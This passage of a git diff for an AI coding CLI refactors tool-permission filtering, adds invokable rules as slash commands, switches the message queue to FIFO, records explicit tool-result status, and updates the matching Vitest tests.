prompts", async () => { + const assistantWithPrompts: AssistantUnrolled = { + ...mockAssistant, + prompts: [ + { + name: "explain", + description: "Explain the code", + prompt: "Please explain the following code:", + }, + ], + }; + + const result = await handleSlashCommands( + "/explain some code", + assistantWithPrompts, + ); + + expect(result).toBeDefined(); + expect(result?.newInput).toBe( + "Please explain the following code:some code", + ); + }); + + it("should handle invokable rules", async () => { + const assistantWithRules: AssistantUnrolled = { + ...mockAssistant, + rules: [ + { + name: "review", + description: "Review this code", + rule: "Perform a code review on the following:", + invokable: true, + }, + ], + }; + + const result = await handleSlashCommands( + "/review some code", + assistantWithRules, + ); + + expect(result).toBeDefined(); + expect(result?.newInput).toBe( + "Perform a code review on the following: some code", + ); + }); + + it("should not treat non-invokable rules as slash commands", async () => { + const assistantWithNonInvokableRule: AssistantUnrolled = { + ...mockAssistant, + rules: [ + { + name: "regular", + description: "A regular rule", + rule: "This is a regular rule", + invokable: false, + }, + ], + }; + + const result = await handleSlashCommands( + "/regular", + assistantWithNonInvokableRule, + ); + + // Should return null because the rule is not invokable + expect(result).toBeNull(); + }); + + it("should handle invokable rules from hub (string rules ignored)", async () => { + const assistantWithMixedRules: AssistantUnrolled = { + ...mockAssistant, + rules: [ + "string rule", + { + name: "analyze", + description: "Analyze code patterns", + rule: "Analyze the following code for patterns:", + invokable: true, + }, + ], + }; + + const result = await handleSlashCommands( + "/analyze my code", + assistantWithMixedRules, + ); + + expect(result).toBeDefined(); + expect(result?.newInput).toBe( + "Analyze the following code for patterns: my code", + ); + }); }); }); diff --git a/extensions/cli/src/slashCommands.ts b/extensions/cli/src/slashCommands.ts index 69b3f7437..503d13901 100644 --- a/extensions/cli/src/slashCommands.ts +++ b/extensions/cli/src/slashCommands.ts @@ -233,6 +233,21 @@ export async function handleSlashCommands( return { newInput }; } + // Check for invokable rules + const invokableRule = assistant.rules?.find((rule) => { + // Handle both string rules and rule objects + if (!rule || typeof rule === "string") { + return false; + } + const ruleObj = rule as any; + return ruleObj.invokable === true && ruleObj.name === command; + }); + if (invokableRule) { + const ruleObj = invokableRule as any; + const newInput = ruleObj.rule + " " + args.join(" "); + return { newInput }; + } + // Check if this command would match any available commands (same logic as UI) const allCommands = getAllSlashCommands(assistant, { isRemoteMode: options?.isRemoteMode, diff --git a/extensions/cli/src/stream/handleToolCalls.ts b/extensions/cli/src/stream/handleToolCalls.ts index d5b7b09a7..c4df3af65 100644 --- a/extensions/cli/src/stream/handleToolCalls.ts +++ b/extensions/cli/src/stream/handleToolCalls.ts @@ -1,18 +1,21 @@ import type { ChatHistoryItem, ToolStatus } from "core/index.js"; import { stripImages } from "core/util/messageContent.js"; import { createHistoryItem } from "core/util/messageConversion.js"; -import type { ChatCompletionTool } from "openai/resources.mjs"; -import { filterExcludedTools } from "../permissions/index.js"; +import { checkToolPermission } from "src/permissions/permissionChecker.js"; + import { - getServiceSync, - MCPServiceState, - MCPTool, SERVICE_NAMES, + serviceContainer, services, } from "../services/index.js"; import type { ToolPermissionServiceState } from "../services/ToolPermissionService.js"; -import { getAllBuiltinTools, ToolCall } from "../tools/index.js"; +import { + convertToolToChatCompletionTool, + getAllAvailableTools, + Tool, + ToolCall, +} from "../tools/index.js"; import { logger } from "../util/logger.js"; import { @@ -91,7 +94,7 @@ export async function handleToolCalls( // First preprocess the tool calls const { preprocessedCalls, errorChatEntries } = - await preprocessStreamedToolCalls(toolCalls, callbacks); + await preprocessStreamedToolCalls(isHeadless, toolCalls, callbacks); // Add any preprocessing errors to chat history // Convert error entries from OpenAI format to ChatHistoryItem format @@ -120,26 +123,18 @@ export async function handleToolCalls( return true; // Signal early return needed } - // Convert tool results and add them to the chat history with per-result status + // Convert tool results and add them to the chat history with status from execution toolResults.forEach((toolResult) => { const resultContent = typeof toolResult.content === "string" ? toolResult.content : ""; - // Derive per-result status instead of applying batch-wide hasRejection - let status: ToolStatus = "done"; - const lower = resultContent.toLowerCase(); - if ( - lower.includes("permission denied by user") || - lower.includes("cancelled due to previous tool rejection") || - lower.includes("canceled due to previous tool rejection") - ) { - status = "canceled"; - } else if ( - lower.startsWith("error executing tool") || - lower.startsWith("error:") - ) { - status = "errored" as ToolStatus; - } + // Use the status from the tool execution result instead of text matching + const status = toolResult.status; + + logger.debug("Tool result status", { + status, + toolCallId: toolResult.tool_call_id, + }); if (useService) { chatHistorySvc.addToolResult( @@ -175,96 +170,28 @@ export async function handleToolCalls( return false; } -export async function getAllTools() { - // Get all available tool names - const allBuiltinTools = getAllBuiltinTools(); - const builtinToolNames = allBuiltinTools.map((tool) => tool.name); +export async function getRequestTools(isHeadless: boolean) { + const availableTools = await getAllAvailableTools(isHeadless); - let mcpTools: MCPTool[] = []; - let mcpToolNames: string[] = []; - const mcpServiceResult = getServiceSync(SERVICE_NAMES.MCP); - if (mcpServiceResult.state === "ready") { - mcpTools = mcpServiceResult?.value?.tools ?? []; - mcpToolNames = mcpTools.map((t) => t.name); - } else { - // MCP is lazy - // throw new Error("MCP Service not initialized"); + const permissionsState = + await serviceContainer.get( + SERVICE_NAMES.TOOL_PERMISSIONS, + ); + + const allowedTools: Tool[] = []; + for (const tool of availableTools) { + const result = checkToolPermission( + { name: tool.name, arguments: {} }, + permissionsState.permissions, + ); + + if ( + result.permission === "allow" || + (result.permission === "ask" && !isHeadless) + ) { + allowedTools.push(tool); + } } - const allToolNames = [...builtinToolNames, ...mcpToolNames]; - - // Check if the ToolPermissionService is ready - const permissionsServiceResult = getServiceSync( - SERVICE_NAMES.TOOL_PERMISSIONS, - ); - - let allowedToolNames: string[]; - if ( - permissionsServiceResult.state === "ready" && - permissionsServiceResult.value - ) { - // Filter out excluded tools based on permissions - allowedToolNames = filterExcludedTools( - allToolNames, - permissionsServiceResult.value.permissions, - ); - } else { - // Service not ready - this is a critical error since tools should only be - // requested after services are properly initialized - logger.error( - "ToolPermissionService not ready in getAllTools - this indicates a service initialization timing issue", - ); - throw new Error( - "ToolPermissionService not initialized. Services must be initialized before requesting tools.", - ); - } - - const allowedToolNamesSet = new Set(allowedToolNames); - - // Filter builtin tools - const allowedBuiltinTools = allBuiltinTools.filter((tool) => - allowedToolNamesSet.has(tool.name), - ); - - const allTools: ChatCompletionTool[] = allowedBuiltinTools.map((tool) => ({ - type: "function" as const, - function: { - name: tool.name, - description: tool.description, - parameters: { - type: "object", - properties: Object.fromEntries( - Object.entries(tool.parameters).map(([key, param]) => [ - key, - { - type: param.type, - description: param.description, - items: param.items, - }, - ]), - ), - required: Object.entries(tool.parameters) - .filter(([_, param]) => param.required) - .map(([key, _]) => key), - }, - }, - })); - - // Add filtered MCP tools - const allowedMcpTools = mcpTools.filter((tool) => - allowedToolNamesSet.has(tool.name), - ); - - allTools.push( - ...allowedMcpTools.map((tool) => ({ - type: "function" as const, - function: { - name: tool.name, - description: tool.description, - parameters: tool.inputSchema, - }, - })), - ); - - return allTools; + return allowedTools.map(convertToolToChatCompletionTool); } diff --git a/extensions/cli/src/stream/messageQueue.test.ts b/extensions/cli/src/stream/messageQueue.test.ts index 8646258aa..cf34fff70 100644 --- a/extensions/cli/src/stream/messageQueue.test.ts +++ b/extensions/cli/src/stream/messageQueue.test.ts @@ -1,4 +1,4 @@ -import { beforeEach, describe, expect, it, vi } from "vitest"; +import { describe, expect, it, vi } from "vitest"; vi.mock("../util/logger.js", () => ({ logger: { @@ -16,11 +16,6 @@ vi.mock("../util/logger.js", () => ({ import { messageQueue } from "./messageQueue.js"; describe("messageQueue", () => { - beforeEach(() => { - // Drain any leftover items from previous tests - while (messageQueue.getAllQueuedMessages()) {} - }); - it("enqueues and emits messageQueued", async () => { const event = new Promise((resolve) => messageQueue.once("messageQueued", resolve), @@ -33,30 +28,4 @@ describe("messageQueue", () => { const queued = await event; expect(queued.message).toBe("hello world"); }); - - it("combines messages, merges image maps, writes history, and clears queue", async () => { - const bufA = Buffer.from("A"); - const bufB = Buffer.from("B"); - - const img1 = new Map([["a", bufA]]); - const img2 = new Map([["b", bufB]]); - - const history = { addEntry: vi.fn() } as any; - - await messageQueue.enqueueMessage("one", img1); - await messageQueue.enqueueMessage("two", img2, history); - - const combined = messageQueue.getAllQueuedMessages(); - expect(combined).toBeTruthy(); - expect(combined!.message).toBe("one\ntwo"); - expect(combined!.imageMap).toBeDefined(); - expect(combined!.imageMap!.get("a")).toEqual(bufA); - expect(combined!.imageMap!.get("b")).toEqual(bufB); - - // queue should be cleared - expect(messageQueue.getQueueLength()).toBe(0); - - // input history should receive the combined message - expect(history.addEntry).toHaveBeenCalledWith("one\ntwo"); - }); }); diff --git a/extensions/cli/src/stream/messageQueue.ts b/extensions/cli/src/stream/messageQueue.ts index 3703a4644..22041d443 100644 --- a/extensions/cli/src/stream/messageQueue.ts +++ b/extensions/cli/src/stream/messageQueue.ts @@ -1,12 +1,13 @@ import { EventEmitter } from "events"; -import { InputHistory } from "../util/inputHistory.js"; +import type { InputHistory } from "../util/inputHistory.js"; import { logger } from "../util/logger.js"; export interface QueuedMessage { message: string; imageMap?: Map; timestamp: number; + history?: InputHistory; } export interface MessageProcessor { @@ -18,7 +19,6 @@ export interface MessageProcessor { */ class MessageQueue extends EventEmitter { private queue: QueuedMessage[] = []; - private inputHistory: InputHistory | undefined; constructor() { super(); @@ -27,14 +27,13 @@ class MessageQueue extends EventEmitter { async enqueueMessage( message: string, imageMap?: Map, - inputHistory?: InputHistory, + history?: InputHistory, ): Promise { - this.inputHistory = inputHistory; - const queuedMessage: QueuedMessage = { message, imageMap, timestamp: Date.now(), + history, }; this.queue.push(queuedMessage); @@ -48,42 +47,11 @@ class MessageQueue extends EventEmitter { return true; } - public getAllQueuedMessages() { - if (this.queue.length === 0) return undefined; - - // Combine all queued messages into one - const combinedMessage = this.queue.map((msg) => msg.message).join("\n"); - const combinedImageMap = new Map(); - - // Merge all image maps - for (const queuedMsg of this.queue) { - if (queuedMsg.imageMap) { - for (const [key, value] of queuedMsg.imageMap) { - combinedImageMap.set(key, value); - } - } - } - - const result = { - message: combinedMessage, - imageMap: combinedImageMap.size > 0 ? combinedImageMap : undefined, - timestamp: Date.now(), - }; - - // Add to input history and clear the queue - this.inputHistory?.addEntry(combinedMessage); - this.queue = []; - - logger.debug("MessageQueue: All messages dequeued and combined", { - combinedLength: combinedMessage.length, - queueLength: this.queue.length, - }); - - return result; - } - - public getLatestMessage() { - return this.getAllQueuedMessages(); + /** + * Dequeues and returns the next message to be processed (FIFO - oldest first) + */ + public getNextMessage(): QueuedMessage | undefined { + return this.queue.shift(); } getQueueLength(): number { diff --git a/extensions/cli/src/stream/streamChatResponse.getAllTools.test.ts b/extensions/cli/src/stream/streamChatResponse.getAllTools.test.ts index 8d8eb68a3..800ae9aa9 100644 --- a/extensions/cli/src/stream/streamChatResponse.getAllTools.test.ts +++ b/extensions/cli/src/stream/streamChatResponse.getAllTools.test.ts @@ -8,21 +8,12 @@ import { } from "../services/index.js"; import type { ToolPermissionServiceState } from "../services/ToolPermissionService.js"; -import { getAllTools } from "./streamChatResponse.js"; +import { getRequestTools } from "./handleToolCalls.js"; -describe("getAllTools - Tool Filtering", () => { +describe("getRequestTools - Tool Filtering", () => { beforeEach(() => { // Clean up service container state before each test - const services = [ - SERVICE_NAMES.TOOL_PERMISSIONS, - SERVICE_NAMES.AUTH, - SERVICE_NAMES.API_CLIENT, - SERVICE_NAMES.CONFIG, - SERVICE_NAMES.MODEL, - SERVICE_NAMES.MCP, - ]; - - services.forEach((service) => { + Object.values(SERVICE_NAMES).forEach((service) => { // Reset service state (serviceContainer as any).services.delete(service); (serviceContainer as any).factories.delete(service); @@ -33,7 +24,7 @@ describe("getAllTools - Tool Filtering", () => { test("should exclude Bash tool in plan mode after service initialization", async () => { // Initialize services in plan mode (simulating `cn -p`) await initializeServices({ - headless: true, + headless: false, toolPermissionOverrides: { mode: "plan", }, @@ -47,7 +38,7 @@ describe("getAllTools - Tool Filtering", () => { expect(serviceResult.value?.currentMode).toBe("plan"); // Get available tools - this should include Bash in plan mode - const tools = await getAllTools(); + const tools = await getRequestTools(false); const toolNames = tools.map((t) => t.function.name); // Bash should be allowed in plan mode @@ -68,7 +59,7 @@ describe("getAllTools - Tool Filtering", () => { test("should include Bash tool in normal mode", async () => { // Initialize services in normal mode await initializeServices({ - headless: true, + headless: false, toolPermissionOverrides: { mode: "normal", }, @@ -82,20 +73,20 @@ describe("getAllTools - Tool Filtering", () => { expect(serviceResult.value?.currentMode).toBe("normal"); // Get available tools - Bash should be available in normal mode - const tools = await getAllTools(); + const tools = await getRequestTools(false); const toolNames = tools.map((t) => t.function.name); // All tools should be available in normal mode expect(toolNames).toContain("Bash"); expect(toolNames).toContain("Read"); expect(toolNames).toContain("Write"); - expect(toolNames).toContain("Edit"); + expect(toolNames).toContain("MultiEdit"); }); test("should include all tools in auto mode", async () => { // Initialize services in auto mode await initializeServices({ - headless: true, + headless: false, toolPermissionOverrides: { mode: "auto", }, @@ -109,27 +100,27 @@ describe("getAllTools - Tool Filtering", () => { expect(serviceResult.value?.currentMode).toBe("auto"); // Get available tools - all tools should be available in auto mode - const tools = await getAllTools(); + const tools = await getRequestTools(false); const toolNames = tools.map((t) => t.function.name); // All tools should be available in auto mode expect(toolNames).toContain("Bash"); expect(toolNames).toContain("Read"); expect(toolNames).toContain("Write"); - expect(toolNames).toContain("Edit"); + expect(toolNames).toContain("MultiEdit"); }); test("should respect explicit exclude in normal mode", async () => { // Initialize services in normal mode with Read tool explicitly excluded await initializeServices({ - headless: true, + headless: false, toolPermissionOverrides: { mode: "normal", exclude: ["Read"], }, }); - const tools = await getAllTools(); + const tools = await getRequestTools(false); const toolNames = tools.map((t) => t.function.name); // Read should be excluded due to explicit exclude @@ -146,14 +137,14 @@ describe("getAllTools - Tool Filtering", () => { // This test specifically addresses the original issue where plan mode // wasn't properly excluding tools despite being in plan mode await initializeServices({ - headless: true, + headless: false, toolPermissionOverrides: { mode: "plan", allow: ["Write", "Edit"], // These should be ignored in plan mode }, }); - const tools = await getAllTools(); + const tools = await getRequestTools(false); const toolNames = tools.map((t) => t.function.name); // Plan mode should still exclude write tools despite --allow flags diff --git a/extensions/cli/src/stream/streamChatResponse.helpers.ts b/extensions/cli/src/stream/streamChatResponse.helpers.ts index b82f63212..e85cc2e7d 100644 --- a/extensions/cli/src/stream/streamChatResponse.helpers.ts +++ b/extensions/cli/src/stream/streamChatResponse.helpers.ts @@ -1,18 +1,25 @@ // Helper functions extracted from streamChatResponse.ts to reduce file size +import type { ToolStatus } from "core/index.js"; +import { ContinueError, ContinueErrorReason } from "core/util/errors.js"; import { ChatCompletionToolMessageParam } from "openai/resources/chat/completions.mjs"; +import { ToolPermissionServiceState } from "src/services/ToolPermissionService.js"; + import { checkToolPermission } from "../permissions/permissionChecker.js"; import { toolPermissionManager } from "../permissions/permissionManager.js"; -import { ToolCallRequest } from "../permissions/types.js"; -import { services } from "../services/index.js"; +import { ToolCallRequest, ToolPermissions } from "../permissions/types.js"; +import { + SERVICE_NAMES, + serviceContainer, + services, +} from "../services/index.js"; import { posthogService } from "../telemetry/posthogService.js"; import { telemetryService } from "../telemetry/telemetryService.js"; import { calculateTokenCost } from "../telemetry/utils.js"; import { executeToolCall, - getAllBuiltinTools, - getAvailableTools, + getAllAvailableTools, Tool, validateToolCallArgsPresent, } from "../tools/index.js"; @@ -21,6 +28,10 @@ import { logger } from "../util/logger.js"; import { StreamCallbacks } from "./streamChatResponse.types.js"; +export interface ToolResultWithStatus extends ChatCompletionToolMessageParam { + status: ToolStatus; +} + // Helper function to handle permission denied export function handlePermissionDenied( toolCall: PreprocessedToolCall, @@ -49,29 +60,6 @@ export function handlePermissionDenied( logger.debug(`Tool call rejected (${reason}) - stopping stream`); } -// Helper function to handle headless mode permission -export function handleHeadlessPermission( - toolCall: PreprocessedToolCall, -): never { - const allBuiltinTools = getAllBuiltinTools(); - const tool = allBuiltinTools.find((t) => t.name === toolCall.name); - const toolName = tool?.displayName || toolCall.name; - - console.error( - `Error: Tool '${toolName}' requires permission but cn is running in headless mode.`, - ); - console.error(`If you want to allow this tool, use --allow ${toolName}.`); - console.error( - `If you don't want the tool to be included, use --exclude ${toolName}.`, - ); - - // Use graceful exit to flush telemetry even in headless denial - // Note: We purposely trigger an async exit without awaiting in this sync path - import("../util/exit.js").then(({ gracefulExit }) => gracefulExit(1)); - // Throw to satisfy the never return type; process will exit shortly - throw new Error("Exiting due to headless permission requirement"); -} - // Helper function to request user permission export async function requestUserPermission( toolCall: PreprocessedToolCall, @@ -122,17 +110,19 @@ export async function requestUserPermission( // Helper function to check if tool permission is needed export async function checkToolPermissionApproval( + permissions: ToolPermissions, toolCall: PreprocessedToolCall, callbacks?: StreamCallbacks, isHeadless?: boolean, ): Promise<{ approved: boolean; denialReason?: "user" | "policy" }> { - const permissionCheck = checkToolPermission(toolCall); + const permissionCheck = checkToolPermission(toolCall, permissions); if (permissionCheck.permission === "allow") { return { approved: true }; } else if (permissionCheck.permission === "ask") { if (isHeadless) { - handleHeadlessPermission(toolCall); + // "ask" tools are excluded in headless so can only get here by policy evaluation + return { approved: false, denialReason: "policy" }; } const userApproved = await requestUserPermission(toolCall, callbacks); return userApproved @@ -220,7 +210,7 @@ export function processToolCallDelta( toolCallsMap.set(toolCallId, { id: toolCallId, name: "", - arguments: null, + arguments: {}, argumentsStr: "", startNotified: false, }); @@ -312,6 +302,7 @@ export function recordStreamTelemetry(options: { * @returns - Preprocessed tool calls that are ready for execution */ export async function preprocessStreamedToolCalls( + isHeadless: boolean, toolCalls: ToolCall[], callbacks?: StreamCallbacks, ): Promise<{ @@ -322,12 +313,12 @@ export async function preprocessStreamedToolCalls( const errorChatEntries: ChatCompletionToolMessageParam[] = []; // Get all available tools - const availableTools: Tool[] = await getAvailableTools(); // Process each tool call for (const toolCall of toolCalls) { const startTime = Date.now(); try { + const availableTools: Tool[] = await getAllAvailableTools(isHeadless); const tool = availableTools.find((t) => t.name === toolCall.name); if (!tool) { throw new Error(`Tool ${toolCall.name} not found`); @@ -354,6 +345,11 @@ export async function preprocessStreamedToolCalls( // Notify the UI about the tool start, even though it failed callbacks?.onToolStart?.(toolCall.name, toolCall.arguments); + const errorReason = + error instanceof ContinueError + ? error.reason + : ContinueErrorReason.Unknown; + const errorMessage = error instanceof Error ? error.message : String(error); @@ -368,6 +364,15 @@ export async function preprocessStreamedToolCalls( success: false, durationMs: duration, error: errorMessage, + errorReason, + // modelName, TODO + }); + void posthogService.capture("tool_call_outcome", { + succeeded: false, + toolName: toolCall.name, + errorReason, + duration_ms: duration, + // model: options.modelName, TODO }); // Add error to chat history @@ -389,7 +394,7 @@ export async function preprocessStreamedToolCalls( * Executes preprocessed tool calls, handling permissions and results * @param preprocessedCalls - The preprocessed tool calls ready for execution * @param callbacks - Optional callbacks for notifying of events - * @returns - Chat history entries with tool results + * @returns - Chat history entries with tool results and status information */ export async function executeStreamedToolCalls( preprocessedCalls: PreprocessedToolCall[], @@ -397,7 +402,7 @@ export async function executeStreamedToolCalls( isHeadless?: boolean, ): Promise<{ hasRejection: boolean; - chatHistoryEntries: ChatCompletionToolMessageParam[]; + chatHistoryEntries: ToolResultWithStatus[]; }> { // Strategy: queue permissions (preserve order), then run approved tools in parallel. // If any permission is rejected, cancel the remaining tools in this batch. @@ -408,7 +413,7 @@ export async function executeStreamedToolCalls( call, })); - const entriesByIndex = new Map(); + const entriesByIndex = new Map(); const execPromises: Promise[] = []; let hasRejection = false; @@ -427,24 +432,30 @@ export async function executeStreamedToolCalls( callbacks?.onToolStart?.(call.name, call.arguments); // Check tool permissions using helper + const permissionState = + await serviceContainer.get( + SERVICE_NAMES.TOOL_PERMISSIONS, + ); const permissionResult = await checkToolPermissionApproval( + permissionState.permissions, call, callbacks, isHeadless, ); if (!permissionResult.approved) { - // Permission denied: record and mark rejection + // Permission denied: create entry with canceled status const denialReason = permissionResult.denialReason || "user"; const deniedMessage = denialReason === "policy" ? `Command blocked by security policy` : `Permission denied by user`; - const deniedEntry: ChatCompletionToolMessageParam = { + const deniedEntry: ToolResultWithStatus = { role: "tool", tool_call_id: call.id, content: deniedMessage, + status: "canceled", }; entriesByIndex.set(index, deniedEntry); callbacks?.onToolResult?.( @@ -479,10 +490,11 @@ export async function executeStreamedToolCalls( arguments: call.arguments, }); const toolResult = await executeToolCall(call); - const entry: ChatCompletionToolMessageParam = { + const entry: ToolResultWithStatus = { role: "tool", tool_call_id: call.id, content: toolResult, + status: "done", }; entriesByIndex.set(index, entry); callbacks?.onToolResult?.(toolResult, call.name, "done"); @@ -506,6 +518,7 @@ export async function executeStreamedToolCalls( role: "tool", tool_call_id: call.id, content: errorMessage, + status: "errored", }); callbacks?.onToolError?.(errorMessage, call.name); // Immediate service update for UI feedback @@ -531,6 +544,7 @@ export async function executeStreamedToolCalls( role: "tool", tool_call_id: call.id, content: errorMessage, + status: "errored", }); callbacks?.onToolError?.(errorMessage, call.name); // Treat permission errors like execution errors but do not stop the batch @@ -547,9 +561,9 @@ export async function executeStreamedToolCalls( await Promise.all(execPromises); // Assemble final entries in original order - const chatHistoryEntries: ChatCompletionToolMessageParam[] = preprocessedCalls + const chatHistoryEntries: ToolResultWithStatus[] = preprocessedCalls .map((_, index) => entriesByIndex.get(index)) - .filter((e): e is ChatCompletionToolMessageParam => !!e); + .filter((e): e is ToolResultWithStatus => !!e); return { hasRejection, diff --git a/extensions/cli/src/stream/streamChatResponse.modeSwitch.test.ts b/extensions/cli/src/stream/streamChatResponse.modeSwitch.test.ts index f5a9e74bd..37b958c7f 100644 --- a/extensions/cli/src/stream/streamChatResponse.modeSwitch.test.ts +++ b/extensions/cli/src/stream/streamChatResponse.modeSwitch.test.ts @@ -4,24 +4,16 @@ import { SERVICE_NAMES, initializeServices, serviceContainer, + services, } from "../services/index.js"; -import { modeService } from "../services/ModeService.js"; -import { getAllTools } from "./handleToolCalls.js"; +import { getRequestTools } from "./handleToolCalls.js"; describe("streamChatResponse - Mode Switch During Streaming", () => { + const toolPermissionService = services.toolPermissions; beforeEach(async () => { // Clean up service container state before each test - const services = [ - SERVICE_NAMES.TOOL_PERMISSIONS, - SERVICE_NAMES.AUTH, - SERVICE_NAMES.API_CLIENT, - SERVICE_NAMES.CONFIG, - SERVICE_NAMES.MODEL, - SERVICE_NAMES.MCP, - ]; - - services.forEach((service) => { + Object.values(SERVICE_NAMES).forEach((service) => { (serviceContainer as any).services.delete(service); (serviceContainer as any).factories.delete(service); (serviceContainer as any).dependencies.delete(service); @@ -29,7 +21,7 @@ describe("streamChatResponse - Mode Switch During Streaming", () => { // Initialize services in normal mode await initializeServices({ - headless: true, + headless: false, toolPermissionOverrides: { mode: "normal", }, @@ -38,27 +30,27 @@ describe("streamChatResponse - Mode Switch During Streaming", () => { test("should recompute tools on each iteration to handle mode switches", async () => { // Start in normal mode - let tools = await getAllTools(); + let tools = await getRequestTools(false); let toolNames = tools.map((t) => t.function.name); // Should include write tools in normal mode expect(toolNames).toContain("Write"); - expect(toolNames).toContain("Edit"); + expect(toolNames).toContain("MultiEdit"); // Switch to plan mode (simulating Shift+Tab during streaming) - modeService.switchMode("plan"); + toolPermissionService.switchMode("plan"); // Update the service container (this is what UserInput.tsx does) - const updatedState = modeService.getToolPermissionService().getState(); + const updatedState = toolPermissionService.getState(); serviceContainer.set(SERVICE_NAMES.TOOL_PERMISSIONS, updatedState); // Recompute tools - should now exclude write tools - tools = await getAllTools(); + tools = await getRequestTools(true); toolNames = tools.map((t) => t.function.name); // Should exclude write tools in plan mode expect(toolNames).not.toContain("Write"); - expect(toolNames).not.toContain("Edit"); + expect(toolNames).not.toContain("MultiEdit"); // Should still include read-only tools expect(toolNames).toContain("Read"); @@ -66,32 +58,32 @@ describe("streamChatResponse - Mode Switch During Streaming", () => { expect(toolNames).toContain("List"); }); - test("getAllTools reflects current mode immediately", async () => { + test("getRequestTools reflects current mode immediately", async () => { // Start in normal mode - expect(modeService.getCurrentMode()).toBe("normal"); - let tools = await getAllTools(); + expect(toolPermissionService.getCurrentMode()).toBe("normal"); + let tools = await getRequestTools(false); expect(tools.map((t) => t.function.name)).toContain("Write"); // Switch to plan mode - modeService.switchMode("plan"); - let updatedState = modeService.getToolPermissionService().getState(); + toolPermissionService.switchMode("plan"); + let updatedState = toolPermissionService.getState(); serviceContainer.set(SERVICE_NAMES.TOOL_PERMISSIONS, updatedState); - expect(modeService.getCurrentMode()).toBe("plan"); + expect(toolPermissionService.getCurrentMode()).toBe("plan"); - // getAllTools should immediately reflect the new mode - tools = await getAllTools(); + // getRequestTools should immediately reflect the new mode + tools = await getRequestTools(false); expect(tools.map((t) => t.function.name)).not.toContain("Write"); // Switch to auto mode - modeService.switchMode("auto"); - updatedState = modeService.getToolPermissionService().getState(); + toolPermissionService.switchMode("auto"); + updatedState = toolPermissionService.getState(); serviceContainer.set(SERVICE_NAMES.TOOL_PERMISSIONS, updatedState); - expect(modeService.getCurrentMode()).toBe("auto"); + expect(toolPermissionService.getCurrentMode()).toBe("auto"); - // getAllTools should immediately reflect auto mode (all tools allowed) - tools = await getAllTools(); + // getRequestTools should immediately reflect auto mode (all tools allowed) + tools = await getRequestTools(false); expect(tools.map((t) => t.function.name)).toContain("Write"); - expect(tools.map((t) => t.function.name)).toContain("Edit"); + expect(tools.map((t) => t.function.name)).toContain("MultiEdit"); expect(tools.map((t) => t.function.name)).toContain("Read"); }); @@ -159,7 +151,7 @@ describe("streamChatResponse - Mode Switch During Streaming", () => { const abortController = new AbortController(); // Start in normal mode - tools should include Write - const initialTools = await getAllTools(); + const initialTools = await getRequestTools(false); expect(initialTools.map((t) => t.function.name)).toContain("Write"); // During streaming, if mode switches, subsequent iterations should use new tools diff --git a/extensions/cli/src/stream/streamChatResponse.test.ts b/extensions/cli/src/stream/streamChatResponse.test.ts index 05fd1a6cf..685bf04d5 100644 --- a/extensions/cli/src/stream/streamChatResponse.test.ts +++ b/extensions/cli/src/stream/streamChatResponse.test.ts @@ -252,6 +252,135 @@ describe("processStreamingResponse - content preservation", () => { expect(result.finalContent).toBe("Hello world!"); }); + it("routes gpt-5 models through responsesStream and preserves streaming tool updates", async () => { + const gpt5Chunks: ChatCompletionChunk[] = [ + { + id: "resp_gpt5", + object: "chat.completion.chunk", + created: Date.now(), + model: "gpt-5", + choices: [ + { + index: 0, + delta: { role: "assistant" }, + finish_reason: null, + }, + ], + }, + { + id: "resp_gpt5", + object: "chat.completion.chunk", + created: Date.now(), + model: "gpt-5", + choices: [ + { + index: 0, + delta: { content: "Analyzing repository…" }, + finish_reason: null, + }, + ], + }, + { + id: "resp_gpt5", + object: "chat.completion.chunk", + created: Date.now(), + model: "gpt-5", + choices: [ + { + index: 0, + delta: { + tool_calls: [ + { + index: 0, + id: "call_final", + type: "function", + function: { + name: "searchDocs", + arguments: '{"query":"unit', + }, + }, + ], + }, + finish_reason: null, + }, + ], + }, + { + id: "resp_gpt5", + object: "chat.completion.chunk", + created: Date.now(), + model: "gpt-5", + choices: [ + { + index: 0, + delta: { + tool_calls: [ + { + index: 0, + type: "function", + function: { + arguments: ' tests"}', + }, + }, + ], + }, + finish_reason: null, + }, + ], + }, + { + id: "resp_gpt5", + object: "chat.completion.chunk", + created: Date.now(), + model: "gpt-5", + choices: [ + { + index: 0, + delta: {}, + finish_reason: "tool_calls", + }, + ], + }, + ]; + + const responsesStream = vi.fn().mockImplementation(async function* () { + for (const chunk of gpt5Chunks) { + yield chunk; + } + }); + const chatCompletionStream = vi.fn().mockImplementation(async function* () { + throw new Error("chatCompletionStream should not be used for gpt-5"); + }); + + mockLlmApi = { + responsesStream, + chatCompletionStream, + } as unknown as BaseLlmApi; + + mockModel = { + model: "gpt-5-preview", + provider: "openai", + } as unknown as ModelConfig; + + const result = await processStreamingResponse({ + chatHistory, + model: mockModel, + llmApi: mockLlmApi, + abortController: mockAbortController, + }); + + expect(responsesStream).toHaveBeenCalledTimes(1); + expect(chatCompletionStream).not.toHaveBeenCalled(); + expect(result.content).toBe("Analyzing repository…"); + expect(result.toolCalls).toHaveLength(1); + expect(result.toolCalls[0]).toMatchObject({ + id: "call_final", + name: "searchDocs", + arguments: { query: "unit tests" }, + }); + expect(result.shouldContinue).toBe(true); + }); + it("handles provider that only sends tool ID in first chunk then uses index", async () => { chunks = [ contentChunk("I'll read the README.md file for you and then say hello!"), @@ -423,7 +552,7 @@ describe.skip("preprocessStreamedToolCalls", () => { }; const { preprocessedCalls, errorChatEntries } = - await preprocessStreamedToolCalls(toolCalls, callbacks); + await preprocessStreamedToolCalls(true, toolCalls, callbacks); // Should have one preprocessed call and no errors expect(preprocessedCalls).toHaveLength(1); @@ -462,7 +591,7 @@ describe.skip("preprocessStreamedToolCalls", () => { }; const { preprocessedCalls, errorChatEntries } = - await preprocessStreamedToolCalls(toolCalls, callbacks); + await preprocessStreamedToolCalls(true, toolCalls, callbacks); // Should have no preprocessed calls and one error expect(preprocessedCalls).toHaveLength(0); @@ -489,7 +618,7 @@ describe.skip("preprocessStreamedToolCalls", () => { ]; const { preprocessedCalls, errorChatEntries } = - await preprocessStreamedToolCalls(toolCalls); + await preprocessStreamedToolCalls(true, toolCalls); // Should have no preprocessed calls and one error expect(preprocessedCalls).toHaveLength(0); diff --git a/extensions/cli/src/stream/streamChatResponse.ts b/extensions/cli/src/stream/streamChatResponse.ts index a59fa8cf7..af4355070 100644 --- a/extensions/cli/src/stream/streamChatResponse.ts +++ b/extensions/cli/src/stream/streamChatResponse.ts @@ -8,9 +8,7 @@ import type { ChatCompletionTool, } from "openai/resources.mjs"; -import { getServiceSync, SERVICE_NAMES, services } from "../services/index.js"; -import { systemMessageService } from "../services/SystemMessageService.js"; -import type { ToolPermissionServiceState } from "../services/ToolPermissionService.js"; +import { services } from 